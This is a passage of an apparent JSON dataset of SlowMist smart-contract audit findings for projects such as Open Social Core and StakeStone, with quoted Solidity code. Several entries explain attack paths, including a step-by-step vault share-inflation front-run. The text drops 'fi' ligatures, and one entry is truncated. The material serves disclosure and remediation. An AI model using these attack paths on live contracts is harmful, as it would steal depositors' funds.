InsurAce_en-us.pdf", + "body": "The external contract address is hard-coded and cannot be modified. It is recommended that the external contract adopts a changeable method to avoid the problem that the project cannot operate normally due to the upgrade of the external contract. common/Constant.sol address public constant UNISWAPV2_ROUTER_ADDRESS = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 36 Fix Status: This issue has been communicated back to project team. The project team is aware of this issue, and made design changes, such as adding exchange library lately, which will include token to token exchange queries from 1inch and Uniswap. In the case of address change, the ABI of the address may change accordingly, as such the project team will need to double check, and/or extend exchange library in tandem. 5.", + "labels": [ + "SlowMist", + "InsurAce", + "Severity: Informational" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - LightDAO_en-us.pdf", + "body": "1.In the HOPESalesAgent contract, the owner can add currency that can buy HOPE tokendelete the currency and change the currency exhange rate. If the owners privileges are lost, it could lead to a contract being maliciously added with a worthless currency and used it to unintentionally buy large amounts of hope tokens. ", + "labels": [ + "SlowMist", + "LightDAO", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "The DoS issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - LightDAO_en-us.pdf", + "body": "The user can pass in the gombocAddressList array through the mintMany function to mint the LT. If the length of gombocAddressList is large, it will cause DoS because of the number of for loops. ", + "labels": [ + "SlowMist", + "LightDAO", + "Type: Denial of Service Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Missing event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - LightDAO_en-us.pdf", + "body": "1.In the Minter contract, the caller can toggle the approval status for mintingUser, but there are no event logs. ", + "labels": [ + "SlowMist", + "LightDAO", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing zero address check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - LightDAO_en-us.pdf", + "body": "When modifying important addresses in the contract, it is not checked whether the incoming address is a zero address. ", + "labels": [ + "SlowMist", + "LightDAO", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing return value check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - LightDAO_en-us.pdf", + "body": "When transferring ERC20 tokens, the return value after the transfer is not checked. If return false, the logical should be reverted. ", + "labels": [ + "SlowMist", + "LightDAO", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "No value is assigned to the fee parameter", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap Lottery_en-us.pdf", + "body": "The fee parameter is dened in the RandomNumberGenerator contract and is used in the getRandomNumber function, but the contract is initialized without assigning a value to the fee parameter. ", + "labels": [ + "SlowMist", + "PancakeSwap Lottery", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Issue with reusable joinNFT", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social Core_en-us.pdf", + "body": "In the RelationLogic contract, users can join a specied community by calling the join or batchJoin function. A joinNFT is minted for the users, and the processJoin function in the community-specic JoinCondition contract is executed to enforce the corresponding join conditions. However, the joinNFT transfers are not restricted in any way, which leads to the following scenario: If a user joins a community that requires a fee, and pays a specied fee to obtain a joinNFT for the community, he can then transfer that NFT to other users, and since the transfer of the joinNFT is not subject to any checking, multiple users can view or manipulate the community's resources or information using a single NFT (paying for it only once). Code Location: contracts/core/logic/RelationLogic.sol function _executeJoin( uint256 communityId, bytes calldata joinConditionData, uint256 value ) internal returns (uint256 tokenId) { OspDataTypes.CommunityStruct memory community = _getCommunityStorage()._communityById[ communityId ]; if (community.joinNFT == address(0)) revert OspErrors.InvalidCommunityId(); tokenId = IJoinNFT(community.joinNFT).mint(msg.sender); if (community.joinCondition != address(0)) { IJoinCondition(community.joinCondition).processJoin{value: value}( msg.sender, communityId, joinConditionData ); } }", + "labels": [ + "SlowMist", + "Open Social Core", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Lack of the repeatability check for creating OpenReactions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social Core_en-us.pdf", + "body": "In the", + "labels": [ + "SlowMist", + "Open Social Core", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Missing inviter check when creating a prole", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social Core_en-us.pdf", + "body": "In the ProleLogic contract, the user can create a prole by calling the createProle function, but here the inviter parameter is not checked. If the inviter passed in is equal to msg.sender, it does not follow the normal logic. Code Location: contracts/core/logic/ProleLogic.sol#L274 function _createProfile( OspDataTypes.CreateProfileData calldata vars ) internal returns (uint256) { ... if (vars.inviter != 0) { if (_getProfileStorage()._profileById[vars.inviter].owner == address(0)) { revert OspErrors.ProfileDoesNotExist(); } profileStruct.inviter = vars.inviter; } ... }", + "labels": [ + "SlowMist", + "Open Social Core", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Lack of check when following other users", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social Core_en-us.pdf", + "body": "In the RelationLogic contract, anyone can follow other users by calling the follow or batchFollow function. But here it doesn't check if the object to follow is equal to msg.sender, which doesn't follow the normal logic if you can follow yourself. Code Location: contracts/core/logic/RelationLogic.sol#L186-211 function _executeFollow( uint256 profileId, bytes calldata followConditionData, uint256 value ) internal returns (uint256 tokenId) { if (_getProfileStorage()._profileById[profileId].owner == address(0)) revert OspErrors.TokenDoesNotExist(); address followCondition = _getProfileStorage()._profileById[profileId].followCondition; address followSBT = _getProfileStorage()._profileById[profileId].followSBT; if (followSBT == address(0)) { followSBT = _deployFollowSBT(profileId); _getProfileStorage()._profileById[profileId].followSBT = followSBT; } ... }", + "labels": [ + "SlowMist", + "Open Social Core", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Lack of check whether a community has been joined", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social Core_en-us.pdf", + "body": "In the RelationLogic contract, anyone can join a specied community by calling the join or batchJoin function. However, there is no check to see if the user has already joined the community. If the condition of joining the community is that the number of tokens held reaches a set value, then the user can join the community several times to mint joinNFT, and then transfer the NFT to other users (even if the other users' token balances don't meet the requirements). Code Location: contracts/core/logic/RelationLogic.sol#L318-335 function _executeJoin( uint256 communityId, bytes calldata joinConditionData, uint256 value ) internal returns (uint256 tokenId) { OspDataTypes.CommunityStruct memory community = _getCommunityStorage()._communityById[ communityId ]; if (community.joinNFT == address(0)) revert OspErrors.InvalidCommunityId(); tokenId = IJoinNFT(community.joinNFT).mint(msg.sender); ... }", + "labels": [ + "SlowMist", + "Open Social Core", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Missing event record", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social Core_en-us.pdf", + "body": "The following functions in several contracts are for event logging of key parameter settings. Code Location: contracts/core/conditions/community/SlotNFTCommunityCond.sol#L34-36 function whitelistCommunitySlot(address slot, bool whitelist) external onlyOperation { _slotNFTWhitelisted[slot] = whitelist; } contracts/core/conditions/community/WhitelistAddressCommunityCond.sol#L37-39 function setMaxCreationNumber(address to, uint256 _maxCreationNumber) external onlyOperation { maxCreationNumber[to] = _maxCreationNumber; } Code Location: contracts/core/logic/GovernanceLogic.sol#L108-112 function setERC6551AccountImpl( address accountImpl ) external override onlyRole(Constants.GOVERNANCE) { _getGovernanceStorage()._erc6551AccountImpl = accountImpl; }", + "labels": [ + "SlowMist", + "Open Social Core", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "call() should be used instead of transfer() and send()", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social Core_en-us.pdf", + "body": "The transfer() and send() functions forward a xed amount of 2300 gas. Historically, it has often been recommended to use these functions for value transfers to guard against reentrancy attacks. However, the gas cost of EVM instructions may change signicantly during hard forks which may break already deployed contract systems that make xed assumptions about gas costs. For example. EIP 1884 broke several existing smart contracts due to a cost increase of the SLOAD instruction. ", + "labels": [ + "SlowMist", + "Open Social Core", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social Core_en-us.pdf", + "body": "In the OspUniversalProxy contract, the gov role can directly upgrade the implementation contract and call the functions of the new contract. If the privilege is lost or misused, This could lead to malicious tampering with the contract's functionality. ", + "labels": [ + "SlowMist", + "Open Social Core", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Authority transfer enhancement", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Open Social Core_en-us.pdf", + "body": "In the Account contract, the admin role does not adopt the pending and access processes. If the admin is incorrectly set, the permission will be lost. Code Location: contracts/upgradeability/OspRouterImmutable.sol function changeAdmin(address _admin) public onlyAdmin { _changeAdmin(_admin); } ... function _changeAdmin(address admin_) internal { Data storage data = routerStorage(); emit AdminChanged(data.admin, admin_); data.admin = admin_; }", + "labels": [ + "SlowMist", + "Open Social Core", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Optimizable bytecode concatenation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase8 - SlowMist Audit Report.pdf", + "body": "In the setByteCodes function of the Factory and CRPFactory contracts on the Scroll chain, due to the block gasLimit restriction, it is not possible to write the complete contract bytecode into bytecodes in a single transaction. Therefore, the bytecode is concatenated using the concatenate function. The concatenate function uses a for loop to copy and concatenate the bytecode, which consumes a large amount of gas compared to using calldatacopy. ", + "labels": [ + "SlowMist", + "DeSyn Phase8 - SlowMist Audit Report", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Ination attack in StoneVault", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "In the StoneVault contract, users can can deposit assets and obtain the corresponding share of the vault by calling the deposit function, But there is a risk of interest rate ination attacks here: Consider this example: bob nds out that alice is making a deposit (e.g. via mempool). Pre-condition: no one deposit before( latestRoundID == 0 ) Assume raito = 1e18. Now, alice wants to deposit 1 (1 * 1e18 wei) WETH and the tx is spied on by the attacker(bob). Here is the breakdown: original state (after) Step 1 (after) Step 2 (after) Step 3 totalStone AssetsVault.getBalance() 0 1 1 1 0 1 1e18 + 1 2 * 1e18 + 1 1.bob front-runs alice and deposits 1 wei WETH and gets 1 share: since totalStone is 0, shares = amount = 1. 2.bob also transfers 1 * 1e18 wei WETH, making the WETH balance of the AssetsVault (AssetsVault.getBalance()) become 1e18 + 1 wei. And then directly call the rollToNextRoundId function to update the latestRoundId and price. (Since rebaseTime starts at 0, it can be called successfully directly). 3.alice deposits 1e18 wei WETH. However, alice gets 0 shares: 1e18 * 1 (totalStone) / (1e18 + 1) = 1e18 / (1e18 + 1) = 0. Since alice gets 0 shares, totalStone remains at 1. 4.bob still has the 1 only share ever minted, thus after waiting for the next rollToNextWETH function call for updating the price and the withdrawal of that 1 share takes away everything in the AssetsVault, including the alices 1e18 wei WETH.(Directly by calling the instantWithdraw function and passing in _amount parameter with a value of 0, _shares parameter with a value of 1). Code Location: contracts/StoneVault.sol#L150-173 function _depositFor( uint256 _amount, address _user ) internal returns (uint256 mintAmount) { require(_amount != 0, \"too small\"); uint256 sharePrice; uint256 currSharePrice = currentSharePrice(); if (latestRoundID == 0) { sharePrice = MULTIPLIER; } else { uint256 latestSharePrice = roundPricePerShare[latestRoundID - 1]; sharePrice = latestSharePrice > currSharePrice ? latestSharePrice : currSharePrice; } mintAmount = (_amount * MULTIPLIER) / sharePrice; AssetsVault(assetsVault).deposit{value: address(this).balance}(); Minter(minter).mint(_user, mintAmount); emit Deposit(_user, _amount, mintAmount, latestRoundID); } contracts/StoneVault.sol#L436-453 function currentSharePrice() public returns (uint256 price) { Stone stoneToken = Stone(stone); uint256 totalStone = stoneToken.totalSupply(); if ( latestRoundID == 0 || totalStone == 0 || totalStone == withdrawingSharesInPast ) { return MULTIPLIER; } uint256 etherAmount = AssetsVault(assetsVault).getBalance() + StrategyController(strategyController).getAllStrategiesValue() - withdrawableAmountInPast; uint256 activeShare = totalStone - withdrawingSharesInPast; return (etherAmount * MULTIPLIER) / activeShare; }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Missing setting rebaseTime when initializing", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "In the StoneVault contract, rebaseTime defaults to 0 and is not set in the constructor function. This could result in any user can call the function directly after the vault is created, potentially combining with other issues to have a signicant impact.(Refer to the N1 issue) Code Location: contracts/StoneVault.sol#L347 function rollToNextRound() external { require( block.timestamp > rebaseTime + rebaseTimeInterval, \"already rebased\" ); ... }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Risks of incorrect withdrawableAmountInPast updates", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "In the StoneVault contract, the rollToNextRound function moves the contract to the next round and updates the current round, including withdrawableAmountInPast. However, the price used in the withdrawableAmountInPast update is newSharePrice instead of the current round price (undPricePerShare [latestRoundID]). This results in newSharePrice being larger than the current round price (roundPricePerShare [latestRoundID]) if newSharePrice > previewSharePrice. In the withdrawal operation (instantWithdraw), the number of user withdrawals is actually calculated using roundPricePerShare, so if newSharePrice is larger than roundPricePerShare in the round of commit withdrawals, it may cause the withdrawal withdrawableAmountInPast is actually larger than the total remaining withdrawals. Then there may be the following situation: hypothesis After most withdrawals, totalStone has very little left (such as 1wei), and withdrawableAmountInPast the result of the price bias in statistics mentioned above is actually larger than expected. Then when calculating the current price (currentSharePrice), the calculation of etherAmount may be 0 or even an error due to overow. Code Location: contracts/StoneVault.sol#L387 function rollToNextRound() external { ... uint256 newSharePrice = currentSharePrice(); roundPricePerShare[latestRoundID] = previewSharePrice < newSharePrice ? previewSharePrice : newSharePrice; ... withdrawableAmountInPast = withdrawableAmountInPast + VaultMath.sharesToAsset(withdrawingSharesInRound, newSharePrice); withdrawingSharesInRound = 0; rebaseTime = block.timestamp; emit RollToNextRound(latestRoundID, vaultIn, vaultOut, newSharePrice); }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Missing check when migrating the vault", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "In the StoneVault contract, the migrateVault function is used to update the stoneVault address in the minter, assetsVault, and strategyController to achieve the eect of migration contracts. However, the migration does not check whether there are pending withdrawal requests in the current stoneVault contract. If the withdrawal request pending in the old stoneVault contract has not been nished during the migration process, then the data has been reset in the new stoneVault contract after the migration, which will cause the shares (stone tokens) transferred to the old stoneVault contract when the user committed the withdrawal request before to be locked and cannot be retrieved. Code Location: contracts/StoneVault.sol#L430-434 function migrateVault(address _vault) external onlyProposal { Minter(minter).setNewVault(_vault); AssetsVault(assetsVault).setNewVault(_vault); StrategyController(strategyController).setNewVault(_vault); }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Incorrect return value if the balance is sucient", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "When executing a withdrawal, if the eth balance in the AssetsVault contract is insucient, the forceWithdraw function of the controller contract will be called to make up the remaining eth by forcing a withdrawal. In the StrategyController contract, if the eth balance of this contract is sucient, the return value of actualAmount should normally be just what is needed (i.e. the passed ethAmount). But here all eth balances in the contract are returned, which may cause the user to withdraw more tokens than expected. Code Location: contracts/strategies/StrategyController.sol#L63 function forceWithdraw( uint256 _amount ) external onlyVault returns (uint256 actualAmount) { uint256 balanceBeforeRepay = address(this).balance; if (balanceBeforeRepay >= _amount) { _repayToVault(); actualAmount = balanceBeforeRepay; } else { actualAmount = _forceWithdraw(_amount - balanceBeforeRepay) + balanceBeforeRepay; } }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Incorrect withdrawal quantity calculation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "If the ETH balance in the contract is insucient during forced withdrawals, the instantWithdraw function in each strategy will be called in a loop to make up the dierence. The number of withdrawals for each strategy is calculated as _amount * ratios [strategy])/ONE_HUNDRED_PERCENT. Then there is a situation where if the sum of all ratios is less than ONE_HUNDRED_PERCENT, then the total number of forced withdrawals will be less than expected. (This is possible because the ratio of each strategy is set to only require the sum of all ratios to be less than or equal to ONE_HUNDRED_PERCENT, or a strategy is cleared). Code Location: contracts/strategies/StrategyController.sol#L187 function _forceWithdraw( uint256 _amount ) internal returns (uint256 actualAmount) { uint256 length = strategies.length(); for (uint i; i < length; i++) { address strategy = strategies.at(i); uint256 withAmount = (_amount * ratios[strategy]) / ONE_HUNDRED_PERCENT; if (withAmount != 0) { actualAmount = Strategy(strategy).instantWithdraw(withAmount) + actualAmount; } } _repayToVault(); }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "There are useless codes in the le and codes that are not used in actual business. Code Location: contracts/strategies/StrategyController.sol#L51-53 function onlyRebaseStrategies() external { _rebase(0, 0); }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Incorrect PendingValue calculations in the STETHHoldingStrategy", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "In the STETHHoldingStrategy contract, the getPendingValue function is used to calculate the value of eth in the withdrawal process. However, only the amount of eth that has not passed the request during the withdrawal process is calculated here, and the part that has passed the request but has not been claimed is not calculated. This may cause the rollToNextRound function in the TokenVault contract to call the getAllStrategyPendingValue function to obtain all pending eth values less than expected. Code Location: contracts/strategies/STETHHoldingStrategy.sol#L155-157 function getPendingValue() public override returns (uint256 value) { (, , value) = checkPendingAssets(); } function checkPendingAssets() public returns ( uint256[] memory ids, uint256 totalClaimable, uint256 totalPending ) { ... for (uint256 i; i < length; i++) { ILidoWithdrawalQueue.WithdrawalRequestStatus memory status = statuses[i]; if (status.isClaimed) { continue; } if (status.isFinalized) { ids[j++] = allIds[i]; totalClaimable = totalClaimable + status.amountOfStETH; } else { totalPending = totalPending + status.amountOfStETH; } } ... }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Lack of event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "There is no corresponding event logged when a sensitive parameter in the contract is modied. Code Location: contracts/token/Minter.sol#L30-32 function setNewVault(address _vault) external onlyVault { vault = payable(_vault); } contracts/token/StoneCross.sol#L64-110 function _nonblockingLzReceive( uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload ) internal virtual override { ... if (packetType == PT_SEND) { _sendAck(_srcChainId, _srcAddress, _nonce, _payload); } else if (packetType == PT_FEED) { ... tokenPrice = price; updatedTime = time; } else if (packetType == PT_SET_ENABLE) { ... enable = flag; } else if (packetType == PT_SET_CAP) { ... cap = _cap; } else { revert(\"unknown packet type\"); } } contracts/AssetsVault.sol#L35-37 function setNewVault(address _vault) external onlyPermit { stoneVault = _vault; } contracts/strategies/RETHHoldingStrategy.sol#L158-164 function setRouter( bool _buyOnDex, bool _sellOnDex ) external onlyGovernance { buyOnDex = _buyOnDex; sellOnDex = _sellOnDex; } contracts/strategies/SFraxETHHoldingStrategy.sol#L151-157 function setRouter( bool _buyOnDex, bool _sellOnDex ) external onlyGovernance { buyOnDex = _buyOnDex; sellOnDex = _sellOnDex; } contracts/strategies/STETHHoldingStrategy.sol#L253-259 function setRouter( bool _buyOnDex, bool _sellOnDex ) external onlyGovernance { buyOnDex = _buyOnDex; sellOnDex = _sellOnDex; } contracts/strategies/Strategy.sol#L89-91 function setBufferTime(uint256 _time) external onlyGovernance { bufferTime = _time; } contracts/strategies/StrategyController.sol#L322-324 function setNewVault(address _vault) external onlyVault { stoneVault = _vault; } contracts/strategies/SwappingAggregator.sol#L396-420 function setUniRouter( address _token, address _uniPool, uint256 _slippage, uint24 _fee ) external onlyGovernance { require(_token != address(0), \"ZERO ADDRESS\"); uniV3Pools[_token] = _uniPool; slippage[_token] = _slippage; fees[_token] = _fee; } function setCurveRouter( address _token, address _curvePool, uint8 _curvePoolType, uint256 _slippage ) external onlyGovernance { require(_token != address(0), \"ZERO ADDRESS\"); curvePools[_token] = _curvePool; curvePoolType[_curvePool] = _curvePoolType; slippage[_token] = _slippage; }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Authority transfer enhancement", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "The permission transfer method for the core roles(like proposer and governance) does not adopt the pending and access processes. If set incorrectly, the permission of the core roles will be lost. Code Location: contracts/strategies/Strategy.sol#L84-87 function setGovernance(address governance_) external onlyGovernance { emit TransferGovernance(governance, governance_); governance = governance_; } contracts/strategies/SwappingAggregator.sol#L422-426 function setGovernance(address governance_) external onlyGovernance { emit TransferGovernance(governance, governance_); governance = governance_; } contracts/governance/Proposal.sol#L138-142 function setProposer(address _proposer) external onlyProposer { emit SetProposer(proposer, _proposer); proposer = _proposer; }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Authority Control Vulnerability Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Lack of CrossChain fee checking in the bridgeTo function", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "In the DepositBridge contract, there is no check in the bridgeTo function to see if the incoming _gasPaidForCrossChain parameter is greater than or equal to the handling fee required to send across the chain. If passed in too small it may cause the cross-chain operation to fail. Code Location: contracts/mining/DepositBridge.sol#L30-41 function bridgeTo( uint256 _amount, bytes calldata _dstAddress, uint256 _gasPaidForCrossChain ) public payable returns (uint256 stoneMinted) { stoneMinted = bridge( msg.sender, _amount, _dstAddress, _gasPaidForCrossChain ); }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Missing check for dstChainId on initialisation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "In the DepositBridge contract, the dstChainId is set on initialisation, but there is no check to see if the value set is not equal to the chainId of the current chain, which would cause the sendFrom function in the stone tokens to revert and the cross-chain operation to fail. Code Location: contracts/mining/DepositBridge.sol#L27 constructor(address _stone, address payable _vault, uint16 _dstChainId) { ... dstChainId = _dstChainId; }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Lack of scope check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "1.In Strategy contracts, the setBuerTime function can be used to set the delay time for strategy operations. However, there is no check on the range of the _time parameter passed in, and if it is too large, the normal operation of the strategy contract will be aected. Code Location: contracts/strategies/Strategy.sol#L89-91 function setBufferTime(uint256 _time) external onlyGovernance { bufferTime = _time; } 2.In SwappingAggregator contracts, the Governance role can set the slips corresponding to dierent tokens and the fees charged by calling the setSlippage function, the setUniRouter function, and the setCurveRouter function. However, there is no range checking of incoming new slippage and fees at the time of setup, which could result in arbitrage or unintended depletion of the user's funds if set too high. Code Location: contracts/strategies/SwappingAggregator.sol#L387-420 function setSlippage( address _token, uint256 _slippage ) external onlyGovernance { emit SetSlippage(_token, slippage[_token], _slippage); slippage[_token] = _slippage; } function setUniRouter( address _token, address _uniPool, uint256 _slippage, uint24 _fee ) external onlyGovernance { require(_token != address(0), \"ZERO ADDRESS\"); uniV3Pools[_token] = _uniPool; slippage[_token] = _slippage; fees[_token] = _fee; } function setCurveRouter( address _token, address _curvePool, uint8 _curvePoolType, uint256 _slippage ) external onlyGovernance { require(_token != address(0), \"ZERO ADDRESS\"); curvePools[_token] = _curvePool; curvePoolType[_curvePool] = _curvePoolType; slippage[_token] = _slippage; }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Potential governance attacks", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "In a Proposal contract, users can call the voteFor function to transfer their holdings of stone tokens into that contract and vote on a specied proposal. However, if the Proposer role is evil (e.g. in the case of lost permissions), it is possible to call the instantWithdraw function or requestWithdraw function in the Stone Vault contract by submitting a proposal and transferring a large number of stone tokens towards the end of the vote to ensure that the proposal passes. After the proposal is executed, it will consume other users' stone tokens and make additional prot (enough to cover the cost of the attack). Code Location: contracts/governance/Proposal.sol#L76-96 function voteFor(address _proposal, uint256 _poll, bool _flag) external { require(canVote(_proposal), \"cannot vote\"); TransferHelper.safeTransferFrom( stoneToken, msg.sender, address(this), _poll ); ... }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Design Logic Audit", + "Severity: Information" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "1.In SwappingAggregator contracts, the Governance role can set the slips, the exchange router and the fee corresponding to dierent tokens by calling the setSlippage function, the setUniRouter function, and the setCurveRouter function. If the privilege is lost or misused, this may have an impact on the user's assets. Code Location: contracts/strategies/SwappingAggregator.sol#L387-420 function setSlippage( address _token, uint256 _slippage ) external onlyGovernance { emit SetSlippage(_token, slippage[_token], _slippage); slippage[_token] = _slippage; } function setUniRouter( address _token, address _uniPool, uint256 _slippage, uint24 _fee ) external onlyGovernance { require(_token != address(0), \"ZERO ADDRESS\"); uniV3Pools[_token] = _uniPool; slippage[_token] = _slippage; fees[_token] = _fee; } function setCurveRouter( address _token, address _curvePool, uint8 _curvePoolType, uint256 _slippage ) external onlyGovernance { require(_token != address(0), \"ZERO ADDRESS\"); curvePools[_token] = _curvePool; curvePoolType[_curvePool] = _curvePoolType; slippage[_token] = _slippage; } 2.In Proposal contracts, the Proposer role can initiate a proposal by calling the propose function. If the privilege is lost or misused, the Proposer role may launch a malicious proposal causing the user to suer a loss of funds. Code Location: contracts/governance/Proposal.sol#L57-74 function propose(bytes calldata _data) external onlyProposer { ... }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Missing return value check when adding strategies", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - StakeStone_en-us.pdf", + "body": "In StrategyController contracts, the type of data structure used for strategy storage is the EnumerableSet library from openzeppelin. When using the .add() function, it will return false if the added data already exists and will not add the data repeatedly. However, the StrategyController contract does not check the return value of the .add() function when adding or setting a strategy, which may result in strategies not being added but ratios being changed. Code Location: contracts/strategies/StrategyController.sol function _initStrategies( address[] memory _strategies, uint256[] memory _ratios ) internal { ... for (uint i; i < length; i++) { strategies.add(_strategies[i]); ratios[_strategies[i]] = _ratios[i]; totalRatio = totalRatio + _ratios[i]; } require(totalRatio <= ONE_HUNDRED_PERCENT, \"exceed 100%\"); } function _setStrategies( address[] memory _strategies, uint256[] memory _ratios ) internal { ... for (uint i; i < length; i++) { ... strategies.add(_strategies[i]); ratios[_strategies[i]] = _ratios[i]; totalRatio = totalRatio + _ratios[i]; } require(totalRatio <= ONE_HUNDRED_PERCENT, \"exceed 100%\"); }", + "labels": [ + "SlowMist", + "StakeStone", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Synclub_en-us.pdf", + "body": "1.In the SnBnb contract, the DEFAULT_ADMIN_ROLE can set the stakeManager contract as the StakeManager role and the StakeManager role can call the mint and burn functions to mint tokens arbitrarily and burn any users tokens. ", + "labels": [ + "SlowMist", + "Synclub", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "The mint amount can be 0 in the deposit function", + "html_url": 